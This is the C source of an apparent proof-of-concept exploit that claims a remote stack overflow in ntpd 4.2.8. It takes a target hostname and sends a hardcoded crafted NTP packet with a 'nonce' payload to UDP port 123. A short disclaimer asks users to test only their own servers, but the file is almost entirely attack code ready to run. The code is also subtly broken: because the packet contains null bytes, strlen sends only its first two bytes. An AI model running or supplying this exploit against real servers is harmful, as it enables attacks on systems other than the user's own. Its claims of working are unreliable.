/*

Remote ntpd 4.2.8 Stack Over Flow Proof Of Concept Exploit by N_A , N_A[at]tutanota.com
Please use this code to test your own servers. Do not break the law. Do not misuse. I am not responsible for any
misuse of this code


N_A[at]tutanota.com

*/




#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <errno.h>
#include <netinet/in.h>
#include <string.h>
#include <netdb.h>


#define PORT 123		/* change if needed */


		/* & nonce exploit packet , Todor Donev  */
char packet[] ="\x26\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x6e\x6f\x6e\x63\x65\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61";



void err(char *msg);

int main(int argc, char *argv[])

{
	int sockfd,n;

	struct sockaddr_in vuln;
	struct hostent *server;

	char *hostname;

	if(argc != 2)
	{
		printf("==================================================\n");
		printf("\tntpd 4.2.8 remote stack overflow exploit\n");
		printf("\t\tBy N_A\n");
		printf("\tUSAGE: %s [HOST]\n", argv[0]);
		printf("\t%s 127.0.0.1\n", argv[0]);
		printf("==================================================\n");
		return EXIT_FAILURE;
	}


	hostname = argv[1];
	server = gethostbyname(hostname);

	if( server == NULL )
	{
		err("gethostbyname");
	}


	if ((sockfd = socket(AF_INET,SOCK_DGRAM,0)) < 0 )
	{
		err("socket()");
	}

	printf("\n[*]UDP socket() successful\n");

	bzero((char *)&vuln,sizeof(vuln));
	vuln.sin_family = AF_INET;
	bcopy((char *)server->h_addr,(char *)&vuln.sin_addr.s_addr,server->h_length);
	vuln.sin_port = htons(PORT);

	if((n = sendto(sockfd,packet,strlen(packet),0,(struct sockaddr *)&vuln,sizeof(vuln))) < 0 )
	{
		err("sendto()");
	}

	printf("\n\n=============================\n");
	printf("\nPacket sent to server!\n");
	printf("=============================\n\n");

	return EXIT_SUCCESS;
}



void err(char *msg)
{
	perror(msg);
	exit(0);
}
